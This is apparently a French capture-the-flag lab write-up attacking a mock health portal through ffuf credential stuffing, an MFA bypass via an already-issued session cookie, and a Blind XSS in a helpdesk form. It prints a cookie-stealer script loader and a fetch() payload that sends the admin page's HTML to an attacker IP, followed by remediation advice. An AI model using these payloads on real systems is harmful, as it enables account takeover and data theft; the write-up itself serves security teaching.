Lab HealthSmarter : Credential Stuffing, MFA Bypass et Blind XSS vers le Panel Admin
Pentest d'un portail de santé en ligne : credential stuffing avec ffuf en mode clusterbomb, bypass du MFA via session cookie Express.js déjà établie, exploitation d'une Blind XSS dans un formulaire de helpdesk pour exfiltrer le contenu HTML de la page admin et récupérer le flag administrateur.
Contexte et Objectifs
| Champ | Détail |
|---|---|
| Plateforme | HackSmarter |
| Lien | Accéder au lab |
| Cible | healthsmarter.hsm |
| OS | Ubuntu Linux (Node.js Express) |
| Vuln. clés | Credential Stuffing, MFA Bypass, Blind XSS |
| Difficulté | Medium |
Scénario : Health Smarter prépare le lancement d'un portail patient/employé pour la gestion des rendez-vous et des données médicales. Un mandat de pentest complet a été accordé. Les analystes OSINT ont compilé une liste de credentials potentiels issus d'une recherche sur DeHashed (fuites de données).
Kill chain :
ffuf clusterbomb → m.thompson:Care4All! → connexion
│
▼
MFA demandé → session cookie déjà établie → accès direct au dashboard
│
▼
Flag utilisateur → /dashboard.html
│
▼
Helpdesk form → img src test → Blind XSS confirmée
│
▼
xss-cookie-stealer → cookies vides (HttpOnly?)
│
▼
fetch("/admin.html") → exfiltration HTML → flag admin
1. Reconnaissance
rustscan -b 500 -a healthsmarter.hsm -- -sC -sV -Pn
Output :
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 62 OpenSSH 9.6p1 Ubuntu 3ubuntu13.16
| ssh-hostkey:
| 256 eb:d3:db:ae:05:42:a6:70:29:c3:e3:24:8b:33:07:96 (ECDSA)
|_ 256 05:1b:ab:2c:ad:b1:a3:53:dd:61:90:ce:2d:06:2a:9c (ED25519)
80/tcp open http syn-ack ttl 62 Node.js Express framework
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Enterprise Portal Login | Health Smarter
|_Requested resource was /login.html
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Analyse :
Deux ports. SSH (22) requiert une authentification par clé publique, confirmée par un test rapide :
ssh root@healthsmarter.hsm
# root@healthsmarter.hsm: Permission denied (publickey)
Sans clé privée, SSH n'est pas notre vecteur. Tout se joue sur le port 80 : une application Node.js Express avec une page de login comme point d'entrée.

2. Énumération Web
Content Discovery
feroxbuster \
-w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-directories.txt \
-u 'http://healthsmarter.hsm' \
-x html
Output :
302 GET http://healthsmarter.hsm/ => /login.html
302 GET http://healthsmarter.hsm/dashboard.html => /login.html
403 GET http://healthsmarter.hsm/admin.html
403 GET http://healthsmarter.hsm/Admin.html
200 GET http://healthsmarter.hsm/login.html
200 GET http://healthsmarter.hsm/css/style.css
Analyse des status codes :
| Endpoint | Status | Signification |
|---|---|---|
/dashboard.html | 302 → /login.html | Accessible uniquement après connexion |
/admin.html | 403 Forbidden | Existe, mais accès refusé sans droits suffisants |
La différence entre 302 et 403 est importante. Le dashboard redirige vers le login (il faut juste être authentifié). L'admin retourne 403 (il faut un rôle supplémentaire). Ce sont nos deux cibles.
VHOST Fuzzing
curl -s -o /dev/null -w "%{size_download}" -H "Host: fake123.healthsmarter.hsm" http://healthsmarter.hsm
# 33
ffuf -u "http://healthsmarter.hsm" \
-w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
-H "Host: FUZZ.healthsmarter.hsm" \
-fs 33
Aucun résultat. Pas de sous-domaine caché. L'application est entièrement sur healthsmarter.hsm.
3. Credential Stuffing - Accès Initial
Les analystes OSINT ont fourni deux fichiers : usernames.txt et passwords.txt, compilés depuis des fuites de données sur DeHashed. L'objectif est de tester toutes les combinaisons pour trouver un credential valide.
Mode ClusterBomb avec FFUF
On utilise ffuf en mode clusterbomb : chaque username est testé avec chaque password. C'est le produit cartésien des deux listes, un brute-force ciblé plutôt qu'aveugle.
ffuf \
-w usernames.txt:USER \
-w passwords.txt:PASS \
-X POST \
-u http://healthsmarter.hsm/api/login \
-H "Content-Type: application/json" \
-d '{"username":"USER","password":"PASS"}' \
-mode clusterbomb \
-mr '"success":\s*true' \
-p 0.05 \
-t 64
Explication des options clés :
| Option | Rôle |
|---|---|
-w usernames.txt:USER -w passwords.txt:PASS | Définit deux wordlists avec leurs marqueurs de substitution. FFUF remplace USER et PASS dans la requête |
-mode clusterbomb | Teste toutes les combinaisons possibles (produit cartésien) plutôt qu'un alignement ligne à ligne |
-mr '"success":\s*true' | Match Regex : n'affiche que les réponses où la regex correspond, c'est-à-dire les logins réussis uniquement |
-p 0.05 -t 64 | 64 threads avec un délai de 50ms entre chaque requête : équilibre entre vitesse et stabilité de l'API |

m.thompson@healthsmarter.hsm : Care4All!
4. MFA Bypass via Session Cookie
Après connexion avec les credentials valides, l'application demande un code MFA à 6 chiffres :

On capture la requête avec Burp Suite et on teste le rate limiting :


Observations :
- Pas de rate limiting détecté : le brute-force des 6 chiffres (1 000 000 combinaisons) est théoriquement possible
- Le code expire très rapidement après génération, ce qui rend un brute-force séquentiel impraticable dans la fenêtre de validité
On change d'approche. En inspectant les DevTools (F12 > Onglet Application > Cookies) :

Un cookie connect.sid est déjà présent.
connect.sid est l'identifiant de session par défaut du middleware express-session dans Node.js. Sa présence signifie que le serveur a déjà créé une session pour notre utilisateur lors de la validation du login, avant même la validation du MFA.
L'hypothèse : si la session est déjà établie côté serveur, le MFA est peut-être une vérification purement côté client (ou une vérification optionnelle côté serveur). Si le serveur ne valide pas que le MFA a été complété avant d'autoriser l'accès au dashboard, on peut y accéder directement en naviguant vers l'URL.
5. Flag Utilisateur
On navigue directement vers le dashboard sans passer par la page MFA :
http://healthsmarter.hsm/dashboard.html

L'hypothèse est confirmée. Le serveur accorde l'accès au dashboard dès que la session est établie (après le login), sans vérifier que le MFA a été complété. Le flag utilisateur est visible directement sur cette page.
Flag 1 récupéré.
6. Exploration du Dashboard

Un message attire l'attention :
"If you need to update your address, phone number, or request medical records, please submit a request to the admin staff using the helpdesk ticketing portal on the side."
Un formulaire de helpdesk est présent en sidebar. Les messages soumis ici sont lus par un administrateur. Si ce formulaire n'échappe pas le HTML, un payload injecté sera exécuté dans le navigateur de l'admin quand il consultera le ticket.
C'est le scénario classique d'une Blind XSS : la vulnérabilité existe, mais l'exécution se produit dans un contexte qu'on ne contrôle pas directement (le navigateur de l'admin), et on ne voit pas le résultat immédiatement.

7. Confirmation Blind XSS
Avant d'injecter un payload élaboré, on vérifie que le champ est bien vulnérable avec un test simple : si l'admin charge une image depuis notre serveur lors de la consultation du ticket, la XSS fonctionne.
On démarre un serveur d'écoute :
python3 -m http.server 80
On soumet un payload <img> dans le formulaire :
<img src="http://10.200.72.75/test.jpg" />

Quelques secondes plus tard, notre serveur reçoit une requête :
10.200.72.75 - - [17/Jul/2026 17:22:45] "GET /test.jpg HTTP/1.1" 404 -
10.200.72.75 - - [17/Jul/2026 17:22:52] "GET /test.jpg HTTP/1.1" 404 -

Le navigateur de l'admin a chargé notre image. Blind XSS confirmée.
8. Exfiltration des Cookies Admin
Première Tentative : Cookie Stealer
On utilise l'outil xss-cookie-stealer qui déploie automatiquement un script JS et un collecteur PHP :
xss-cookie-stealer 10.200.72.75
Payload: <script src="http://10.200.72.75/script.js"></script>
[Fri Jul 17 17:44:46 2026] 10.1.64.162:47320 [200]: GET /script.js
[Fri Jul 17 17:44:46 2026] 10.1.64.162:47328 [200]: GET /index.php?c=
Le script s'est exécuté mais la valeur du cookie retournée est vide (?c=).
Explication : le cookie connect.sid est probablement protégé par le flag HttpOnly. Ce flag interdit à JavaScript d'accéder au cookie via document.cookie. C'est une bonne pratique de sécurité qui rend le vol de session via XSS impossible. Il faut changer d'approche.
Deuxième Tentative : Exfiltration HTML via fetch()
Si on ne peut pas voler le cookie, on peut utiliser la session de l'admin directement depuis son navigateur. L'admin est authentifié et peut accéder à /admin.html. On lui fait fetch() la page admin dans son propre contexte et on exfiltre le HTML vers notre serveur.
On soumet le payload suivant dans le formulaire helpdesk :
<script>
fetch("/admin.html")
.then(r => r.text())
.then(t => {
new Image().src = "http://10.200.72.75/?p=" + encodeURIComponent(t);
});
</script>
Comment ce payload fonctionne :
| Étape | Action |
|---|---|
fetch("/admin.html") | Le navigateur de l'admin effectue une requête GET vers /admin.html. Cette requête est authentifiée car le cookie de session de l'admin est automatiquement inclus par le navigateur |
.then(r => r.text()) | La réponse HTML est lue en texte brut |
encodeURIComponent(t) | Le HTML est encodé pour être transmis dans un paramètre d'URL sans casser la syntaxe |
new Image().src = "..." | Le HTML encodé est envoyé vers notre serveur via une requête GET sur le paramètre ?p= |
On remet en place notre serveur web et on attend :
python3 -m http.server 80
Le HTML de /admin.html arrive encodé dans le paramètre ?p=. On le décode :

En scrollant dans le HTML décodé, le flag administrateur apparaît.

Flag 2 récupéré.
9. Conclusion et Remédiation
Kill Chain Complète
1. RustScan → SSH (clé requis) + Node.js Express port 80
2. Feroxbuster → /admin.html (403) + /dashboard.html (302)
3. Credential stuffing → m.thompson:Care4All! via ffuf clusterbomb
4. MFA bypass → connect.sid déjà établi → accès dashboard direct
5. Flag 1 → /dashboard.html
6. Helpdesk form → img src → Blind XSS confirmée
7. Cookie stealer → cookie vide (HttpOnly)
8. fetch("/admin.html") → HTML exfiltré → Flag 2
Remédiation
| Vecteur | Problème | Remédiation |
|---|---|---|
| Credential stuffing possible | L'API /api/login accepte des tentatives illimitées | Implémenter un rate limiting strict sur l'endpoint de login (ex: 5 tentatives par IP par minute), un CAPTCHA et un lockout temporaire après échecs répétés |
| MFA optionnel côté serveur | La session est établie avant validation du MFA | Le serveur doit créer une session partielle après le login, marquée comme mfa_pending: true. L'accès aux ressources protégées doit être refusé tant que ce flag est actif, indépendamment de la présence du cookie |
| Absence de rate limiting MFA | Les 1 000 000 codes sont brute-forçables en théorie | Limiter les tentatives MFA à 3-5 essais avant invalidation et nouvelle génération du code |
| Blind XSS dans le helpdesk | Le contenu des tickets est rendu sans échappement HTML | Echapper systématiquement les entrées utilisateur avant rendu (htmlspecialchars ou équivalent). Utiliser une Content Security Policy (CSP) restrictive pour bloquer les scripts inline et les requêtes vers des domaines externes |
| fetch() cross-resource | Un script XSS peut fetcher /admin.html dans le contexte de l'admin | CSP avec default-src 'self' et connect-src 'self' pour empêcher les requêtes vers des domaines externes. Même si XSS survient, l'exfiltration vers un serveur externe est bloquée |
[!NOTE] Ce lab illustre un chaînage qui tire parti d'une implémentation MFA mal pensée. L'intention de sécurité était là : forcer un second facteur après le login. L'erreur d'implémentation est subtile : la session est créée au moment du login, pas au moment de la validation MFA. C'est suffisant pour qu'un attaquant ayant les credentials contourne entièrement le second facteur en naviguant directement vers les ressources protégées.
Writeup rédigé par Zcook
